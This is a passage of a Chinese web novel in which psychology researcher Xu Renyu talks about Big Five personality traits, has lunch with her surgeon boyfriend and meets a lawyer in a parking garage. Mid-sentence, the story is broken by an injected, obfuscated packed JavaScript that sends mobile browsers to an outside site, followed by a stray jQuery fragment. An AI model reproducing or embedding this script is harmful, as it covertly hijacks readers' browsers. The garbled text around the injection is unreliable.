许人语周一上午刚起床,收到季乐敏发过来的尖叫信息。
季乐敏:许人语!我换带教了!
:你怎么没跟我说我带教住我楼下?
:今天早上我跟他同一班电梯下楼。
:我还说邻居长得挺帅啊。
:结果一到律所他是我带教。
:天塌了,许人语,天真的塌了。
许人语也没想到有这么巧,不过御景园在旧楼林立的文教区算是高端新楼盘,离龙江大厦又很近,有律师住在那里也不奇怪。
许人语知道季乐敏是那种上学顶撞老师,上班顶嘴上司的人,才不会担心真跟上司住一栋楼。
她幸灾乐祸:“说不定楼上楼下都是你们律所的,你们团建可以直接开公寓轰趴。”
许人语回完这条语音,进卫生间洗漱。
顾亭出门的时间比她早,早餐做好了放在餐桌上,让她热一下再吃,还是沙拉酱和照烧鸡排三明治,去掉面包边,她很喜欢吃这个。
顾亭掐准了她早上起床的时间,准时问她有没有吃早餐。
许人语:[图片]
许人语:吃了。
顾亭:宝贝你是今天来医院吗?那中午我带你去吃饭。
许人语:好。
许人语是作为国际交换博士回国的,她的研究方向是临床心理学和社会心理学的交叉应用,选题是文化适应治疗的本土化实地研究,背靠江大第一附属医院的精神科研究室。
许人语每周有一到两天的时间待在医院。
江都府离医院倒是不远,当初顾家买房选址考虑到了顾亭工作这一点。
研究室今天有人请客喝奶茶,请客的是另外一个博士周远遥,许人语刚好错过。
她坐到自己那张桌子前,上面放了本书,摊开那一页的子标题是“人际关系的个体差异性影响”。
周远遥过来拿书:“你不在,借你桌子放一下。”
许人语清晰地记得书里的字,随口一问:“大五人格特质是哪五个来着?”
她本科期间笼统学习过心理学各个分支,其中人格心理学是一门新兴学科,尤其在国内,应用窄、发展历史短,但是很好玩。
周远遥就是这个方向的,她坐到许人语边上,掰着手指列举大五人格:“开放性、外倾性、尽责性、宜人性、神经质,重要性从低到高排序。”
许人语又笑了,她记得以前看书的时候,每次看到宜人性都会莫名想笑,大有一种宜人性低就可以开除人籍的美感。
心理学界有观点认为,相处时间越长,尽责性的重要程度更高,而五个特质中,起消极作用的神经质是最具影响力的,情绪稳定的人所拥有的人际关系也会更健康。
周远遥现在的阶段,正在映证流行观念里,情绪稳定的界定存在一个区间,如果超出这个区间值,高度的情绪稳定就会造成价值中立,在人际关系中显得冷漠,因此宜人性降低。
许人语被绕进去,想了半天才理清楚:“存不存在那种高度情绪稳定和高宜人性并存的情况?”
周远遥说她们正在寻找这种反例,但可能性很低:“既然形成价值中立,怎么同时兼具同情心和对他人的信任呢?这样也就不可能存在高宜人性了。”
许人语开玩笑:“我感觉我还挺宜人的。”
周远遥哂了她一声:“哪有在自己身上找反例的,人是不能研究自己的。”
许人语撇撇嘴:“好吧。”
“你等下去跟顾医生吃饭吗?”
“嗯,你要不要一起?”
“吃啥?”
“医院食堂。”
“不要。吃完饭黎成过来,我们去打球,你去不去?”
许人语跟周远遥认识的时候她就已经结婚了,一年里,她一次都没见过周远遥的另一半,她对这个也不感兴趣,她倒是挺想去打球的。
“我没带拍。”
“我让黎成多带两只过来不就好了。”
许人语笑了:“他在律所开羽毛球馆吗,放那么多只拍。”
“谁知道他,打两局换一只,差生文具多。”
许人语想去,犹豫半天,看了一眼手表,还是拒绝了,今天秦淑娅跟她约的时间是下午三点,她从医院过去还要一点时间,大汗淋漓地见咨询者未免太没有礼貌。
许人语称这就是她的高宜人性所在。
周远遥严谨地纠正她:“这个应该来说是尽责性。”
许人语又撇撇嘴:“好吧。”
许人语拒绝的另外一个原因,顾亭很少打羽毛球。她跟顾亭在一起五年,同居一年,生活习惯上可以互相磨合,但是兴趣爱好上,谁都没有让步,顾亭喜欢夜跑,许人语憎恨跑步,许人语喜欢打羽毛球,顾亭长大到现在连球拍都没碰过几次。
好在爱好方面,谁也没有勉强彼此。
许人语起先没有想过,她跟顾亭存在这些摩擦,竟然能够在一起五年之久,她还以为自己是谈不了长期恋爱的人。
她写了一个多小时的论文,三百个字,等顾亭发来信息说自己下门诊了,就去医院食堂找他。
同桌还有两个医生,许人语过去,他们正在聊顾亭今年升副主任医师的事。
顾亭今年三十岁,这个年纪能评上副主任医师极其少有,他的国外经历和文章加持的含金量很高,当然,还有他父母那家华人医院的跨国项目支持。
那两个医生是顾亭的同事,调侃许人语跟他组成的是博士之家,以后生的孩子肯定也是博士。
许人语:“我们说好不生孩子。”
“那你们的基因很浪费啊。我记得遗传学有一种说法,不愿意繁衍的基因在人类历史发展长河中会逐渐淘汰掉。”
“基因问题难道不需要考虑概率吗?遗传还有风险呢,谁能完全保证隐性基因的疾病在未来某一天不发作?”
许人语说得风平浪静,她没有别的意思,也没有想让任何人难堪,她只是不喜欢这个话题。她以前对人有误解,以为自己是事不关己的态度,所有人也都会像她一样,然而接触的人越多,越觉得这简直是痴心妄想。
她不理解,怎么总是有人那么关心别人。
两个医生看了一眼顾亭,他什么都没说,只是看起来很赞同地点头。
他们都是外科医生,话题聊来聊去,又回到科室里。
许人语对外科术语和医院流程一窍不通,她对这些也没什么兴趣,趁着吃饭放空的时候,想到刚才跟周远遥讨论的话题。
代表价值中立的情绪高度稳定和高宜人性能否共存?
她还是坚持,这两点在她身上共存得很好,虽然这么说有自恋的嫌疑。
“宝贝,我点两杯咖啡,你喝抹茶还是草莓?”
“宝贝?”
许人语回过神,先不回答这个问题,看顾亭的眼神称得上坚毅:“宝贝,你觉得我是一个情绪稳定的人吗?”
“是的。”顾亭失笑,“你太稳定了,怎么了?”
她继续追问:“那你觉得我是一个富有同情心、合作精神,善良并且对他人信任程度高的人吗?”
顾亭一皱眉,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448225|185194||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意识到许人语好像在背教科书:“是的,你最近研究什么呢?”
“没事了,我要回咨询室了,你们慢慢吃。”
-
今天秦淑娅过来咨询的一个小时里,有二十多分钟都在说闻律师。
包括但不限于为人冰冷、缺乏人情味,不懂得说软话。
当然,到后来话锋一转,秦淑娅用颇为实事求是的态度说,闻律师这个人还是蛮耐心的。
许人语每次听咨询者说话,脑袋里面都会形成一张谱图,这是她认识一个人的方式。对话中一丝一缕的细节拼凑起来,勾画成她面前的人,当中还要剔除没用的线索,当这张谱图大致完善的时候,就可以用放大镜去观察每一根线条的毛边,这样才能精准洞察每一句话的底层含义。
秦淑娅总是很关注其他人,这是许人语在今天的咨询结束后得出的结论。
许人语当天没有其他来访,托着腮写她的来访报告,办公室里循环播放THEDONNAS乐队的《Spendthenight》专辑,她听歌的品味很单一,喜欢的专辑会反复听,这是她最喜欢的乐队,她在美国读书的时候追过她们的演出。
许人语写着写着进入到心流状态,一直写到六点钟才想起看时间,窗外天边晚霞翻涌上来,前段时间台风天的云似乎没有来得及撤走,粉蓝色铺到天际去。
远眺到尽头是远山,连绵的绿意很是养眼。
许人语并没有加班的意识,但她的办公室也是一片私人空间,不会有人来打扰,也就无所谓这份报告要不要带回去写。
恰好顾亭说他今天晚上加班,让许人语不用等他。
来访报告写得很顺利,她喜欢写一些剖析的材料,但她自己的论文显然难产了。
许人语在留下和回家写之间,选择了回陶姜的消息,她给许人语发来一个明湖景区附近的酒吧地址,说律所组里来了新朋友,邀请她去一起玩。
刚好可以换换脑子。
从龙江大厦到THEGUT只有十分钟的车程。
那附近堵车严重,停车位难找,许人语开进隔壁银泰的地下停车场,跨越大半个区才把车停进一个中间位置。
她刚推开车门,听到两声厚重的鸣笛,来自两步之外的那辆黑色奔驰G63。
尾灯还亮着,许人语环顾了四周,不知道对方要停到哪里去,便转身走。
“许医生!”
奔驰G63的车主下来,径直走到她面前:“许医生,我有哪里得罪过你吗?”
许人语这次记性没有那么差,认出他是那天包厢里把鱼让给她的人,至于到底是谁,没印象,姑且称他为鱼先生。
鱼先生今天穿的是黑色T恤和同色的短裤,看起来像是健完身过来的,身上有股刚洗浴完的薄荷清香,在停车场里就更明显。
“怎么这么问?”
闻谦朝许人语停着白色保时捷718的车位努嘴,手指向自己那辆车:“上次也被许医生抢了车位,不过不是这辆车,许医生的车真多。”
他眉目间笑意不减,未见愤怒,只有戏谑。
许人语此刻也觉得有些好笑了:“为什么要用‘也’?”
鱼先生那一瞬间惊讶的表情出卖了他,许人语知道,他没想到她会这样说。
许人语点破他的潜台词:“鱼先生,你不会觉得我抢了你的车位吧?”
闻谦没说话,只是皱起了舒展的眉。
“但我真的没看见。”
他似乎是斟酌了一会,才想到应该纠正她:“许医生,我不姓余。”